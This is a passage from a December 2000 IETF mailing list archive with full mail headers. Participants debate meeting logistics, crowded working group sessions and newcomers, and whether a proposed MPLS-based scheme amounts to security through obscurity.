X-Loop: ietf@ietf.org >We *should* worry about people >who come to the IETF once and never come back - because they probably came >to the wrong meeting, and went home unhappy. Well, you've certainly convinced me never to attend a meeting. The attitude being promulgated by the majority of these posts, whether justified or not, is most likely to lead (IMO) to IETF meetings populated by two distinct groups of people: 1) Old timers 2) The clueless masses Everyone else will be afraid to show up. When the old timers are gone, all that will be left are the clueless; down that path lurks madness and anarchy. Cheers, RGF Robert G. Ferrell, CISSP ======================================== Who goeth without humor goeth unarmed. ======================================== From owner-ietf-outbound Wed Dec 20 11:30:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA01935 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 11:30:03 -0500 (EST) Received: from htt-consult.com ([63.82.18.210]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA01280 for ; Wed, 20 Dec 2000 11:19:52 -0500 (EST) Received: from rgm.htt-consult.com ([63.82.18.214]) by htt-consult.com ; Wed, 20 Dec 2000 11:19:52 -0500 Message-Id: <5.0.0.25.2.20001220111704.029f5a90@localhost> X-Sender: rgm-ietf@homebase.htt-consult.com X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Wed, 20 Dec 2000 11:20:10 -0500 To: ietf@ietf.org From: Robert Moskowitz Subject: Looking for help on Roamabout upgrades In-Reply-To: <20360207070556549.AAA276@hq.lindsayelec.com@hq.lindsayelec .com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org I have an old Roamabout hub. What to see if I can get an 802.11b card (and microcode) for it. If anyone knows who to turn to for this, please email me. I can't find it on any of Cabletron's splinter companies. From owner-ietf-outbound Wed Dec 20 11:40:07 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA02457 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 11:40:02 -0500 (EST) Received: from calcite.rhyolite.com (calcite.rhyolite.com [192.188.61.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA01359 for ; Wed, 20 Dec 2000 11:20:52 -0500 (EST) Received: (from vjs@localhost) by calcite.rhyolite.com (8.11.1/8.11.1) id eBKGKfk27376 for ietf@ietf.org env-from ; Wed, 20 Dec 2000 09:20:41 -0700 (MST) Date: Wed, 20 Dec 2000 09:20:41 -0700 (MST) From: Vernon Schryver Message-Id: <200012201620.eBKGKfk27376@calcite.rhyolite.com> To: ietf@ietf.org Subject: Re: IETF logistics X-Loop: ietf@ietf.org > Let me give you an example of where this didn't work recently. At San > Diego, we had back-to-back meetings ... There is another solution for real WG participants. Simply abandon the meetings to what by someone's estimate is the overwhelming majority of observers and other dead weights. Do not attend if are in the minority who cares mostly about the protocols. Give the meetings to those who want to educate, be educated, and generally rub shoulders with and as super duper internet engineers. They won't notice your absence. Even better, save a lot of time and effort by the IAB, IESG, etc. and hire Comdex or InterOp to run the meetings. InterOp (or whatever it's called these days) has long offered tutorials. Moreover, InterOp has often hired IETF participants to do the teaching. Instead, participate in protocol work by mail. As others have pointed out, the mailing list consensus is the the only consensus that matters. When something is decided in the IETF meetings, the odds are about 50% that the decision is wrong, contrary to the mailing list consensus, and will be reversed. The classic example of that syndrome was the decision of the IAB in Japan to pick the ISO OSI suite for IPng. Note that I am not being sarcastic. Note also that I know that is no chance that the participants (not to mention self-described observers) who are now complaining might take my advice. Finally note that complaints about hordes of the pointy haired, marketeers, and other non-participants jamming the meetings are nearly 15 years old. That ancient IETF that didn't have such problems, or at least didn't have such complaints was either in some other universe or didn't last more than a year or two. Vernon Schryver vjs@rhyolite.com From owner-ietf-outbound Wed Dec 20 12:31:42 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA05273 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 12:30:02 -0500 (EST) Received: from europe.std.com (europe-e.std.com [192.74.137.10]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA04555 for ; Wed, 20 Dec 2000 12:19:18 -0500 (EST) Received: from world.std.com (root@world-f.std.com [199.172.62.5]) by europe.std.com (8.9.3/8.9.3) with ESMTP id MAA00832; Wed, 20 Dec 2000 12:14:30 -0500 (EST) Received: from [208.192.101.181] (ppp0b171.std.com [208.192.101.171]) by world.std.com (8.9.3/8.9.3) with ESMTP id MAA24449; Wed, 20 Dec 2000 12:10:59 -0500 (EST) Mime-Version: 1.0 Message-Id: In-Reply-To: <200012201610.KAA06833@rgfsparc.cr.usgs.gov> References: <200012201610.KAA06833@rgfsparc.cr.usgs.gov> Date: Wed, 20 Dec 2000 12:08:41 -0500 To: "Robert G. Ferrell" , ietf@ietf.org From: John Day Subject: Re: Bottom feeders Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Loop: ietf@ietf.org At 10:10 -0600 12/20/00, Robert G. Ferrell wrote: > >We *should* worry about people > >who come to the IETF once and never come back - because they probably came > >to the wrong meeting, and went home unhappy. > >Well, you've certainly convinced me never to attend a meeting. > >The attitude being promulgated by the majority of these posts, >whether justified or not, is most likely to lead (IMO) >to IETF meetings populated by two distinct groups of people: > >1) Old timers >2) The clueless masses The properties of this sort of democratic process are well-known and well-understood. As any student of the Soviet Union will tell you, this is precisely how the Old Guard maintained control of the CP. From owner-ietf-outbound Wed Dec 20 12:41:24 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA05970 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 12:40:03 -0500 (EST) Received: from jhawk-foo.bbnplanet.com (jhawk-foo.bbnplanet.com [199.94.208.163]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA04606 for ; Wed, 20 Dec 2000 12:20:18 -0500 (EST) Received: (from jhawk@localhost) by jhawk-foo.bbnplanet.com (8.8.8+Sun/8.8.8) id MAA08014 for ietf@ietf.org; Wed, 20 Dec 2000 12:20:19 -0500 (EST) Date: Wed, 20 Dec 2000 12:20:19 -0500 From: John Hawkinson To: ietf@ietf.org Subject: Re: IETF logistics Message-ID: <20001220122019.H21755@jhawk-foo.bbnplanet.com> References: <200012192249.PAA24572@tcb.net> <2299636028.977257212@KLENSIN01> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/1.1.1i In-Reply-To: <2299636028.977257212@KLENSIN01>; from klensin@jck.com on Tue, Dec 19, 2000 at 08:20:12PM -0500 X-Loop: ietf@ietf.org On Tue, Dec 19, 2000 at 08:20:12PM -0500, John C Klensin wrote: > I would also favor equipping Chairs with long poles with hooks > at the end for dragging performers offstage, or at least on/oiff > switches for microphones :-) > The "Bradner method" has long functioned for this. The Chair (or AD) walks up to a microphone and taps it until the speaker stops using the microphone. It requires the Chair be willing to do this, but so does a switch. We have the technology (such as it were), what we perhaps need is the Chairs to be empowered, or cognizant of this sort of requirement. --jhawk From owner-ietf-outbound Wed Dec 20 12:51:24 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA06539 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 12:50:03 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA05148 for ; Wed, 20 Dec 2000 12:28:29 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id MAA23686; Wed, 20 Dec 2000 12:28:02 -0500 (EST) Message-Id: <200012201728.MAA23686@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Brian E Carpenter cc: John Beck , Keith Moore , ietf@ietf.org Subject: Re: Bottom feeders In-reply-to: Your message of "Wed, 20 Dec 2000 09:01:07 CST." <3A40C9B3.A85E721D@hursley.ibm.com> Date: Wed, 20 Dec 2000 12:26:47 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > We *should* worry about people who come to the IETF once and never come > back - because they probably came to the wrong meeting, and went home > unhappy. interesting idea. so assuming that a lot of folks come to the IETF expecting something different than it is, and going home disappointed, what can we do to make future prospective attendees more aware of what they're getting into? Keith From owner-ietf-outbound Wed Dec 20 13:01:21 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA07104 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 13:00:03 -0500 (EST) Received: from joy.songbird.com (IDENT:root@songbird.com [208.184.79.7]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA05712 for ; Wed, 20 Dec 2000 12:36:27 -0500 (EST) Received: from dcrocker.dcrocker.net (node-64-145-172-82.dslspeed.zyan.com [64.145.172.82]) by joy.songbird.com (8.9.3/8.9.3) with ESMTP id JAA15079 for ; Wed, 20 Dec 2000 09:36:26 -0800 Message-Id: <5.0.2.1.2.20001220090714.03b1dec0@joy.songbird.com> X-Sender: dhc2@joy.songbird.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Wed, 20 Dec 2000 09:37:30 -0800 To: ietf@ietf.org From: Dave Crocker Subject: Re: IETF logistics In-Reply-To: References: <14911.38185.69675.522594@localhost.localdomain> <5.0.0.25.2.20001219090808.009ef9e0@gnat.inet.org> <5.0.0.25.2.20001219110316.00a83680@schultz.argon.com> <14911.38185.69675.522594@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org >At 11:20 AM 12/19/00 -0600, Pete Resnick wrote: >How about a first step: In WG sessions that I chair, there are going to be >no more presentations. From now on, one week before the IETF meeting, >document editors will be required to send me a list of outstanding issues >they wish to discuss in the WG session for their particular drafts. Having just enthusiastically encouraged Pete to be chair of a nascent working group that I am heavily involved in, and having noted the many responses in support of his suggestion, I will nonetheless note that we are focusing entirely too much on symptoms and not enough on causes. A very major good feature of the IETF is its flexibility. A working group needs only enough bureaucratic cruft to get its job done. This varies enormously, depending upon the background and views of the participants, complexity of the work to be done, degree of urgency, etc. I believe that the core requirement for meeting time use is to properly view it as a very scarce resource and apply agenda design -- and enforcement -- rules -- that make sense. Sometimes presentations are exactly the right thing. Sometimes they aren't. What is important is taking a skeptical view of ALL requests for meeting time and adding items to the agenda only when the need for them is compelling. At 12:12 PM 12/19/00 -0600, Pete Resnick wrote: >On 12/19/00 at 12:04 PM -0500, Scott Brim wrote: >>I would suggest that chairs try setting the agenda around issues, > >I think you have this backwards. The job of an IETF WG is not to resolve >issues per se; it's to write Internet-Drafts. Please note that Scott was commenting on a possible format for meetings; he was not commenting on larger, working group goals. In particular he was trying to suggest a way to focus the very short time of meetings. I'll guess that his suggestion was motivated by the tendency to have per-document agendas spend more time on each document -- in the legitimate but misguided goal of being "thorough" -- than is really necessary. d/ =-=-=-=-= Dave Crocker Brandenburg Consulting Tel: +1.408.246.8253, Fax: +1.408.273.6464 From owner-ietf-outbound Wed Dec 20 13:11:24 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA07927 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 13:10:03 -0500 (EST) Received: from ganymede.or.intel.com (ganymede.or.intel.com [134.134.248.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA07071 for ; Wed, 20 Dec 2000 12:59:40 -0500 (EST) Received: from condryvaio-desk.intel.com (condryvaio-desk.jf.intel.com [134.134.159.175]) by ganymede.or.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.33 2000/11/21 19:27:27 smothers Exp $) with ESMTP id JAA09840; Wed, 20 Dec 2000 09:59:20 -0800 (PST) Message-Id: <5.0.2.1.2.20001220074651.00af6670@FMSMSX63.fm.intel.com> X-Sender: mwcondry@FMSMSX63.fm.intel.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Wed, 20 Dec 2000 07:52:01 -0800 To: John Martin , ietf@ietf.org From: "Michael W. Condry" Subject: Re: IETF logistics In-Reply-To: <4.3.2.7.2.20001220151910.0497e2a0@pop.netapp.com> References: <001001c06a9a$6d231f20$d45904d1@cisco.com> <200012192115.PAA00308@www.saloits.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org John- Every IETF meeting results in a discussion of WG chairs asking their attendees to read the drafts, get involved on the email, etc. Time has not changed the fact that some folks to and some do not follow this suggestion. Many folks attend the BOF/WG in order to get started! However, I must agree that the four "content" meetings had far insufficinet space, as you noted. Michael At 03:29 PM 12/20/2000 +0100, John Martin wrote: >Let me give you an example of where this didn't work recently. At San >Diego, we had back-to-back meetings of WREC followed by OPES BoF and CDNP >BoF. For the most part, there was a very large overlap in the attendance. >If you did not forgoe the coffee break and - literally! - run between the >rooms, you did not get a seat. If you were silly enough to engage in even >a 1 minute conversation and walk slowly, you might not have gotten into >the room at all. This is of course further exacerbated by those who do the >IETF equivalent of spreading their towels out on the loungers by the pool >before going for breakfast... > >Some folks who had contributed were excluded because the doors had to be >closed in order to make the meeting audible. In one case, the door was >opened to admit someone who was on the agenda as speaking. > >I don't believe that any of the solutions offered so far will work because >they depend on the good manners of strangers which, frankly, is largely >non-existent at IETF meetings. > >So, my only suggestion is that WG chairs strongly encourage work to be >done on the mailing lists, a deference towards non-presentation formats >and the strong enforcement of timelines in meetings.... which is, erm, >what we're supposed to encourage anyway... > >John > >At 07:35 AM 20/12/00 -0800, Melinda Shore wrote: >> > What happened to the proven and time-honored technique of >>getting >> > to a meeting early if you want a seat? I know the argument is >>that >> > we want to hang out in the hallways until the last minute and >>still >> > get a seat (because we are more "important" than a bunch of the >>people >> > that did get there early), but still... >> >>I think the problem could, in part, be alleviated >>by physically ejecting from the room people either >>playing games on their laptops or checking their >>portfolios. >> >>Melinda >>(and I'm not kidding) >> >> >>- >>This message was passed through ietf+censored@alvestrand.no, which >>is a sublist of ietf@ietf.org. Not all messages are passed. >>Decisions on what to pass are made solely by Harald Alvestrand. > >--------------------------------------------------------------- >Network Appliance Direct / Voicemail: +31 23 567 9615 >Kruisweg 799 Fax: +31 23 567 9699 >NL-2132 NG Hoofddorp Main Office: +31 23 567 9600 >--------------------------------------------------------------- Michael W. Condry Director, Internet Strategy 2111 N.E. 25th Ave. JF3-206 Hillsboro, OR 97124-5961 Phone: (503) 264-9019 FAX: (503) 264-3483 Email: condry@intel.com From owner-ietf-outbound Wed Dec 20 13:21:24 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA08539 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 13:20:03 -0500 (EST) Received: from mailhub1.almaden.ibm.com (mailhub1.almaden.ibm.com [198.4.83.44]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA07851 for ; Wed, 20 Dec 2000 13:09:03 -0500 (EST) Received: from maui.almaden.ibm.com (maui.almaden.ibm.com [9.1.24.92]) by mailhub1.almaden.ibm.com (8.8.8/8.8.8) with ESMTP id KAA47278; Wed, 20 Dec 2000 10:02:29 -0800 Received: from hursley.ibm.com (gsine04.us.sine.ibm.com [9.14.6.44]) by maui.almaden.ibm.com (AIX4.3/8.9.3/8.7) with ESMTP id KAA20556; Wed, 20 Dec 2000 10:07:30 -0800 Message-ID: <3A40F4C6.F595112A@hursley.ibm.com> Date: Wed, 20 Dec 2000 12:04:54 -0600 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.61 [en] (Win98; I) X-Accept-Language: en,fr MIME-Version: 1.0 To: "Robert G. Ferrell" CC: ietf@ietf.org Subject: Re: Bottom feeders References: <200012201610.KAA06833@rgfsparc.cr.usgs.gov> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit I think you misheard me, or I misspoke. I would be the last person to suggest we should turn away new people. But many people come to exactly one meeting (I can't quote statistics, but the Secretariat knows the numbers), and this seems all wrong to me - the IETF only makes sense for sustained participation (by email or in person). So the people who only come to one meeting almost certainly come under a false presumption about what an IETF meeting is. With one exception of course - local attendees, especially when we meet outside the US. I hope to see you in Minneapolis in March. Brian "Robert G. Ferrell" wrote: > > >We *should* worry about people > >who come to the IETF once and never come back - because they probably came > >to the wrong meeting, and went home unhappy. > > Well, you've certainly convinced me never to attend a meeting. > > The attitude being promulgated by the majority of these posts, > whether justified or not, is most likely to lead (IMO) > to IETF meetings populated by two distinct groups of people: > > 1) Old timers > 2) The clueless masses > > Everyone else will be afraid to show up. > > When the old timers are gone, all that will be left are the clueless; > down that path lurks madness and anarchy. > > Cheers, > > RGF > > Robert G. Ferrell, CISSP > ======================================== > Who goeth without humor goeth unarmed. > ======================================== From owner-ietf-outbound Wed Dec 20 13:31:24 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA09022 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 13:30:02 -0500 (EST) Received: from alcove.wittsend.com (IDENT:root@alcove.wittsend.com [130.205.0.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA07877 for ; Wed, 20 Dec 2000 13:09:22 -0500 (EST) Received: (from mhw@localhost) by alcove.wittsend.com (8.9.3/8.9.3) id NAA16152; Wed, 20 Dec 2000 13:09:17 -0500 Date: Wed, 20 Dec 2000 13:09:17 -0500 From: "Michael H. Warfield" To: John Beck Cc: Keith Moore , ietf@ietf.org Subject: Re: Bottom feeders Message-ID: <20001220130917.B10406@alcove.wittsend.com> References: <200012200335.WAA20409@astro.cs.utk.edu> <200012200501.eBK510b108993@opal.eng.sun.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.2i In-Reply-To: <200012200501.eBK510b108993@opal.eng.sun.com>; from jbeck@eng.sun.com on Tue, Dec 19, 2000 at 09:00:59PM -0800 X-Loop: ietf@ietf.org On Tue, Dec 19, 2000 at 09:00:59PM -0800, John Beck wrote: > Keith> I honestly don't know how many of the 'lurkers' in any particular room > Keith> are actively participating in some WG versus how many are lurking in > Keith> all of them. but I do know that a large number of lurkers is harmful > Keith> to a WG's ability to conduct a useful meeting. > How so? If they're just lurking, the only harm I could see is taking up > space in the room. I started out more or less lurking, mainly just to make > sure people didn't try to do something stupid in my areas of interest. But > gradually over time I found I was able to participate at a more meaningful > level. So lurking can be a Good Thing, from a certain point of view. I also have to agree with this. I lurk in several security related forums and I attended one IETF conference (Orlando). I haven't been to another, strictly because of professional demands on my time (and I sincerely regret not getting to another, yet). When I was in Orlando, I attended (lurked) at several WGs. Most, I had nothing to say. Some gave me more information to back up what I had been hearing on the mailing lists. In once case, I did raise a point about some privacy concerns with IPv6 and leaking information. I was prepared to get roundly flamed for an uninformed opinion (I had been doing my homework) and was surprise to see someone who I respect and admire (I think it was Steve Belovin) stand up and agree with me. The "lurkers" of the past and present are your "workers" of the future. Don't discourage them. Don't intimidate them. Ok... Ok... Don't intimidate them any more than you intimidate each other. Don't single them out for any special vile treatment. The meetings ARE getting large, I agree. Anyone who comes with something specific they wish to present certainly deserves respect (and a badge for bravery) and a position from which to make their presentation. I didn't see any situation, then, where lurkers were disrupting the proceedings or interfering with the ability of presentors to get their presentations done. In several cases, myself and a couple of other "lurkers" promptly got roped (uh volunteered) into contributing to some projects. That's where worker bees come from. :-) > -- John Mike -- Michael H. Warfield | (770) 985-6132 | mhw@WittsEnd.com (The Mad Wizard) | (678) 463-0932 | http://www.wittsend.com/mhw/ NIC whois: MHW9 | An optimist believes we live in the best of all PGP Key: 0xDF1DD471 | possible worlds. A pessimist is sure of it! From owner-ietf-outbound Wed Dec 20 13:41:27 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA09579 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 13:40:03 -0500 (EST) Received: from watsun.cc.columbia.edu (IDENT:cu51491@watsun.cc.columbia.edu [128.59.39.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA08284 for ; Wed, 20 Dec 2000 13:15:25 -0500 (EST) Received: (from jaltman@localhost) by watsun.cc.columbia.edu (8.8.5/8.8.5) id NAA17090; Wed, 20 Dec 2000 13:15:11 -0500 (EST) Date: Wed, 20 Dec 2000 13:15:09 EST From: Jeffrey Altman Reply-To: jaltman@columbia.edu To: John Day Cc: "Robert G. Ferrell" , ietf@ietf.org Subject: Re: Bottom feeders In-Reply-To: Your message of Wed, 20 Dec 2000 12:08:41 -0500 Message-ID: X-Loop: ietf@ietf.org > The properties of this sort of democratic process are well-known and > well-understood. As any student of the Soviet Union will tell you, > this is precisely how the Old Guard maintained control of the CP. The question comes down to "why are you attending an IETF meeting?" I attend the meetings to accomplish things that we could not accomplish on the mailing list. That usually means trying to sit down with a group of very active participants that have failed to come to consensus on serious technical issues. The reality is that I can sit down with 6 or 8 individuals and usually hash out a consensus because the feedback loop is rather tight. However, take those same 6 or 8 individuals and surround them by 150 individuals who just want to watch and the dynamics now change completely. Instead of the tight feedback loop of free flowing ideas we now get a line of people at a microphone speaking in turn while filtering their thoughts so they are appropriate for the masses who may not have a deep understanding of the issues. In all of this we are interrupted by non-participants (defined as those that do not participate on the mailing list and who never will) that throw in extraneous questions or suggestions that make no sense in the given context. The end result is that work does not get done in the working group meeting. Instead, when does the work get done? By breaking the IETF rules and having informal private meetings in the hallways or over a beer at the bar. The working group sessions then become a bunch of reports of "there was an issue on the mailing list, and we've come to a consensus." In other words, the working group meetings themselves are no longer work sessions and can be nothing more than a series of presentations and q&a sessions. I go to IETF to work in person with the people on the mailing lists for the groups that I participate in, and to ensure that other groups that attempt to apply those technologies do so in the proper way. If you want to know what a working group is doing, spend the meeting time reading the drafts. Don't just go to the meeting. If you are going to go to the meeting be prepared to speak. If you can't speak to the subject, don't go to the meeting. Jeffrey Altman * Sr.Software Designer C-Kermit 7.1 Alpha available The Kermit Project @ Columbia University includes Secure Telnet and FTP http://www.kermit-project.org/ using Kerberos, SRP, and kermit-support@kermit-project.org OpenSSL. SSH soon to follow. From owner-ietf-outbound Wed Dec 20 13:51:26 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA10098 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 13:50:03 -0500 (EST) Received: from igw8.watson.ibm.com (igw8.watson.ibm.com [198.81.209.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA08754 for ; Wed, 20 Dec 2000 13:23:56 -0500 (EST) Received: from sp1n189at0.watson.ibm.com (sp1n189at0.watson.ibm.com [9.2.104.62]) by igw8.watson.ibm.com (8.9.3/8.9.3/05-14-1999) with ESMTP id NAA07488; Wed, 20 Dec 2000 13:23:56 -0500 Received: from bubble.watson.ibm.com (bubble.watson.ibm.com [9.2.215.93]) by sp1n189at0.watson.ibm.com (8.9.3/Feb-20-98) with ESMTP id NAA24672; Wed, 20 Dec 2000 13:23:55 -0500 Received: (from prasad@localhost) by bubble.watson.ibm.com (8.9.3/8.9.3/04/21/2000) id NAA20874; Wed, 20 Dec 2000 13:23:54 -0500 Date: Wed, 20 Dec 2000 13:23:42 -0500 From: V Guruprasad To: John Stracke , ietf@ietf.org Subject: Re: NATs *ARE* evil! Message-ID: <20001220132342.A20854@bubble.watson.ibm.com> References: <20001219112023.A19099@bubble.watson.ibm.com> <20001219155350.B19352@bubble.watson.ibm.com> <3A3FE2E2.5D0C10E7@ecal.com> <20001220074949.A20498@bubble.watson.ibm.com> <3A40BB4E.1643E09A@ecal.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <3A40BB4E.1643E09A@ecal.com>; from francis@ecal.com on Wed, Dec 20, 2000 at 08:59:42 -0500 X-Loop: ietf@ietf.org On Wed, 20 Dec 2000, John Stracke wrote: > > Why don't you read the I-D > > I did. Then you'd see that the invisibility refers to that of the server host, as follows: The client sees only the service name binding in the form of the URL, but what it gets as the data path is a virtual path (or LSP) handle. Since the label changes at each hop, the path index visible to the client host relates only to its own handle or file descriptor for the path, and is not enough to identify the server host. (The server host gets revealed only if there's only one hop.) ---- Obscurity would mean that a unique server host address exists but is not advertised. Invisibility means that a unique server host address does not exist at all. This is a harder condition. ---- If my approach is implemented *in addition to* end-to-end IP, you do get compromised because the IP layer supplies the host address. But the defect would be due to the IP layer, NOT my framework, which is happy as long as it can do MPLS end-to-end for transport. In particular, one does not need IP per se under my framework, and in that aspect, one can continue to use the higher IP protocols, like TCP, UDP, SCTP, etc. e2e because they'd run on top of the virtual path endings. One question that was unclear till the IETF meeting was whether these higher protocols could indeed be fooled to work independently of IP: the proof of principle exists - in Cheritan's Triad project at Stanford, the 32 b IP address is faked in similar fashion. Incidentally, Triad was substantially what I had initially proposed within IBM in 1995-1996, and we didn't see it as being of more than academic interest at that time. best regards, -p. From owner-ietf-outbound Wed Dec 20 14:01:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA10665 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 14:00:02 -0500 (EST) Received: from DF-INET-1.dogfoodinternet.com (df-inet1.exchange.microsoft.com [131.107.8.8]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA08946 for ; Wed, 20 Dec 2000 13:28:34 -0500 (EST) Received: from df-virus2.platinum.corp.microsoft.com ([172.30.236.33]) by DF-INET-1.dogfoodinternet.com with Microsoft SMTPSVC(5.0.2195.1600); Wed, 20 Dec 2000 09:44:09 -0800 Received: from 172.30.236.11 by df-virus2.platinum.corp.microsoft.com (InterScan E-Mail VirusWall NT); Wed, 20 Dec 2000 09:44:52 -0800 (Pacific Standard Time) Received: from speak.platinum.corp.microsoft.com ([172.30.236.197]) by yuri.dns.microsoft.com with Microsoft SMTPSVC(5.0.2195.2532); Wed, 20 Dec 2000 09:44:52 -0800 content-class: urn:content-classes:message Subject: RE: IETF logistics MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Date: Wed, 20 Dec 2000 09:44:51 -0800 Message-ID: X-MimeOLE: Produced By Microsoft Exchange V6.0.4604.0 Thread-Topic: IETF logistics Thread-Index: AcBqpDRJBc4dtbrTRw+C/ADVsod+3AAB8XUw From: "Christian Huitema" To: X-OriginalArrivalTime: 20 Dec 2000 17:44:52.0198 (UTC) FILETIME=[8E607860:01C06AAC] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id NAA08946 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit I have a simpler point about logistics. What we are doing in the IETF nowadays is downright dangerous. Prevalence of the laptops means that the room is criss-crossed with power cables. Lack of room means that the alleys are packed with standing or sitting listeners. If anything goes wrong and we have to evacuate a room, we are in for the headlines. In fact, if we continue breaking the fire code in every room of every meeting, this outcome is almost guaranteed. -- Christian Huitema From owner-ietf-outbound Wed Dec 20 14:11:24 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA11095 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 14:10:02 -0500 (EST) Received: from localhost.localdomain ([216.52.68.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA09317 for ; Wed, 20 Dec 2000 13:36:13 -0500 (EST) Received: from ecal.com (localhost [127.0.0.1]) by localhost.localdomain (8.11.0/8.11.0) with ESMTP id eBKIdC117479 for ; Wed, 20 Dec 2000 13:39:12 -0500 Sender: francis@localhost.localdomain Message-ID: <3A40FCCF.651E8B37@ecal.com> Date: Wed, 20 Dec 2000 13:39:11 -0500 From: John Stracke X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i586) X-Accept-Language: en, de, es MIME-Version: 1.0 To: ietf@ietf.org Subject: Re: NATs *ARE* evil! References: <20001219112023.A19099@bubble.watson.ibm.com> <20001219155350.B19352@bubble.watson.ibm.com> <3A3FE2E2.5D0C10E7@ecal.com> <20001220074949.A20498@bubble.watson.ibm.com> <3A40BB4E.1643E09A@ecal.com> <20001220132342.A20854@bubble.watson.ibm.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit V Guruprasad posted, in reply to private mail: > Obscurity would mean that a unique server host address exists but > is not advertised. > > Invisibility means that a unique server host address does not exist > at all. This is a harder condition. No. Security through obscurity means any approach that attempts to protect network resources (in this case, the server) by making them hard to find. Your approach, then, has a weak form of security through obscurity. It still permits clients to contact the server, which means that the server needs to be hardened against malicious clients, which is why security through obscurity is so poorly thought of. I say it's a weak form because I believe you are wrong in stating that "a unique server host address does not exist". The URL (ick) is an address for the server; it's just a higher-level address than an IP address. -- /==============================================================\ |John Stracke | http://www.ecal.com |My opinions are my own.| |Chief Scientist |=============================================| |eCal Corp. |Campbell's has it wrong--it's "Never | |francis@ecal.com|underestimate the power of *chocolate*". | \==============================================================/ From owner-ietf-outbound Wed Dec 20 14:21:25 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA11385 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 14:20:02 -0500 (EST) Received: from watsun.cc.columbia.edu (IDENT:cu51491@watsun.cc.columbia.edu [128.59.39.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA09647 for ; Wed, 20 Dec 2000 13:41:05 -0500 (EST) Received: (from jaltman@localhost) by watsun.cc.columbia.edu (8.8.5/8.8.5) id NAA20658; Wed, 20 Dec 2000 13:40:58 -0500 (EST) Date: Wed, 20 Dec 2000 13:40:56 EST From: Jeffrey Altman Reply-To: jaltman@columbia.edu To: Keith Moore Cc: Brian E Carpenter , John Beck , Keith Moore , ietf@ietf.org Subject: Re: Bottom feeders In-Reply-To: Your message of Wed, 20 Dec 2000 12:26:47 -0500 Message-ID: X-Loop: ietf@ietf.org > > We *should* worry about people who come to the IETF once and never come > > back - because they probably came to the wrong meeting, and went home > > unhappy. > > interesting idea. > > so assuming that a lot of folks come to the IETF expecting something > different than it is, and going home disappointed, what can we do to > make future prospective attendees more aware of what they're getting into? > > Keith I don't know if this is done or not, but all first time registrants should be sent an e-mail suggesting that they read the 